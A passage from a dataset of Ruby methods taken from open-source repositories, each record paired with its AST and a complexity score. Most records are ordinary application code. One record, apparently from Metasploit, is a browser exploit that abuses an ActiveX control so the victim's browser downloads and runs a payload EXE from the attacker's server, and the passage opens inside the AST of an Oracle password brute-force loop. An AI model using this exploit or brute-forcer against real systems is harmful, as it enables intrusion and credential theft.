\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"foreach\",{\"type\":\"lvar\",\"children\":[\"list\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"brute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DBUSER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"brute\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DBPASS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"brute\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"downcase\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OCIError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ORA-12170:\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" Connection timed out\"]}]}]},{\"type\":\"break\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" - LOGIN FAILED: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBUSER\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"oracle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SID\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBUSER\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBPASS\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user/pass of: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBUSER\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBPASS\"]}]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\" with sid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SID\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"500e116d-3113-4248-84ba-1d26d90f6430"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/resource_access_tokens/create_service.rb","start_line":148,"raw_source":"def validate_access_level(access_level)\n return true if current_user.bot?\n return true if current_user.can?(:owner_access, resource)\n\n user_access_level = if resource_type == 'group'\n resource.max_member_access_for_user(current_user)\n else\n resource.team.max_member_access(current_user.id)\n end\n\n Authz::Role.access_level_encompasses?(\n current_access_level: user_access_level,\n level_to_assign: access_level.to_i\n )\n end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_access_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"bot?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"owner_access\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_access_level\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"max_member_access_for_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"team\"]},\"max_member_access\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authz\"]},\"Role\"]},\"access_level_encompasses?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_access_level\"]},{\"type\":\"lvar\",\"children\":[\"user_access_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level_to_assign\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_level\"]},\"to_i\"]}]}]}]}]}]}","id":"1f33adc0-cbd5-4e4e-9a0b-c7bf74cf3c91"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/no_touching.rb","start_line":57,"raw_source":"def touch_later(*) # :nodoc:\n super unless no_touching?\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_later\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_touching?\"]},null,{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"05f366e3-7c61-40bb-ae6f-4d971fb2b099"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_about_config_area_general_settings_card.rb","start_line":30,"raw_source":"def has_saved_successfully?\n PageObjects::Components::Toasts.new.has_success?(\n I18n.t(\"admin_js.admin.config_areas.about.toasts.general_settings_saved\"),\n )\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_saved_successfully?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"Toasts\"]},\"new\"]},\"has_success?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin_js.admin.config_areas.about.toasts.general_settings_saved\"]}]}]}]}","id":"aed31d83-cdf8-40ea-993e-258682dea9f0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/symantec_appstream_unsafe.rb","start_line":56,"raw_source":"def on_request_uri(cli, request)\n payload_url = \"http://\"\n payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n payload_url += \":\" + datastore['SRVPORT'].to_s + get_resource() + \"/payload\"\n\n if (request.uri.match(/payload/))\n return if ((p = regenerate_payload(cli)) == nil)\n\n data = generate_payload_exe({ :code => p.encoded })\n print_status(\"Sending payload EXE\")\n send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n return\n end\n\n vname = rand_text_alpha(rand(100) + 1)\n exe = rand_text_alpha(rand(5) + 1)\n\n content = %Q|\n <html>\n <object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>\n <script language=\"javascript\">\n #{vname}.installAppMgr(\"#{payload_url}/#{exe}.exe\");\n </script>\n </html>\n |\n\n print_status(\"Sending #{self.name}\")\n\n send_response_html(cli, content)\n\n handler(cli)\n end","complexity_score":58.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"str\",\"children\":[\"http://\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending payload EXE\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" <html>\\n\"]},{\"type\":\"str\",\"children\":[\" <object id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>\\n\"]},{\"type\":\"str\",\"children\":[\" <script language=\\\"javascript\\\">\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".installAppMgr(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]}]},{\"type\":\"str\",\"children\":[\".exe\\\");\\n\"]},{\"type\":\"str\",\"children\":[\" </script>\\n\"]},{\"type\":\"str\",\"children\":[\" </html>\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"a1a2fe65-2262-4c9b-baee-212d22402dbd"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_localization_serializer.rb","start_line":6,"raw_source":"def topic_localization\n TopicLocalizationSerializer.new(object.topic_localization, root: false).as_json\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_localization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicLocalizationSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic_localization\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"as_json\"]}]}","id":"1489bc13-4b6e-4bbd-bcdb-51f3cb5a1c5f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jira_connect/application_controller.rb","start_line":22,"raw_source":"def verify_qsh_claim!\n return if request.format.json? && jwt.verify_context_qsh_claim\n\n # Make sure `qsh` claim matches the current request\n render_403 unless jwt.verify_qsh_claim(request.url, request.method, jira_connect_base_url)\n end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_qsh_claim!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"format\"]},\"json?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jwt\"]},\"verify_context_qsh_claim\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jwt\"]},\"verify_qsh_claim\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"method\"]},{\"type\":\"send\",\"children\":[null,\"jira_connect_base_url\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_403\"]}]}]}]}","id":"b5ea77ff-7922-4edc-b194-ceef96ebdf80"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/openai/processor_service.rb","start_line":126,"raw_source":"def reply_suggestion_body\n {\n model: GPT_MODEL,\n messages: [\n { role: 'system',\n content: prompt_from_file('reply', enterprise: false) }\n ].concat(conversation_messages(in_array_format: true))\n }.to_json\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_suggestion_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"const\",\"children\":[null,\"GPT_MODEL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"prompt_from_file\",{\"type\":\"str\",\"children\":[\"reply\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enterprise\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},\"concat\",{\"type\":\"send\",\"children\":[null,\"conversation_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_array_format\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},\"to_json\"]}]}","id":"02a6806f-0896-43f4-b592-c076ece296f3"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_menu_items_controller.rb","start_line":181,"raw_source":"def create_main_menu_item_for_wiki_page(page, options = {})\n wiki = page.wiki\n\n menu_item = if item = page.menu_item\n item.tap { |item| item.parent_id = nil }\n else\n wiki.wiki_menu_items.build(name: page.slug, title: page.title)\n end\n\n menu_item.options = options\n menu_item.save\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_main_menu_item_for_wiki_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wiki\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"wiki\"]}]},{\"type\":\"lvasgn\",\"children\":[\"menu_item\",{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"menu_item\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"parent_id=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki\"]},\"wiki_menu_items\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"title\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_item\"]},\"options=\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_item\"]},\"save\"]}]}]}","id":"e5be3cde-46fb-4a44-88d5-2979bfcb04ff"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb","start_line":88,"raw_source":"def clear_signaling_key\n return unless strategy == :until_executed && reschedulable? && job['rescheduled_once'].nil?\n\n with_redis { |r| r.del(reschedule_signal_key) }\n end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_signaling_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"until_executed\"]}]},{\"type\":\"send\",\"children\":[null,\"reschedulable?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rescheduled_once\"]}]},\"nil?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"del\",{\"type\":\"send\",\"children\":[null,\"reschedule_signal_key\"]}]}]}]}]}","id":"c7b901ec-ff74-4976-a662-cbb2ad523c45"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/web_test.rb","start_line":893,"raw_source":"def app\n app = Sidekiq::Web.new\n app.use(Rack::Auth::Basic) { |user, pass| user == \"a\" && pass == \"b\" }\n app.use(Rack::Session::Cookie, secret: SecureRandom.hex(32))\n\n app\n end","complexity_score":10.05,"ast_json":"{\"type\":\"def\",\"children\":[\"app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Web\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Auth\"]},\"Basic\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"==\",{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"==\",{\"type\":\"str\",\"children\":[\"b\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Session\"]},\"Cookie\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[32]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}","id":"8414e84a-85a2-48eb-a775-74ebbd7db5f5"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/consumption_with_rollups.rb","start_line":66,"raw_source":"def tag_list_with_prefix_for(rollup)\n (all_tag_names(rollup) + container_tag_list_with_prefix).uniq.reject(&:empty?).map { |x| \"#{tag_prefix}#{x}\" } + chargeback_container_labels\n end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_list_with_prefix_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rollup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_tag_names\",{\"type\":\"lvar\",\"children\":[\"rollup\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"container_tag_list_with_prefix\"]}]}]},\"uniq\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"chargeback_container_labels\"]}]}]}","id":"d81b360e-6d25-46c4-8cc4-a9cfc7c813e6"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/middleware_stack_test.rb","start_line":28,"raw_source":"def setup\n @stack = 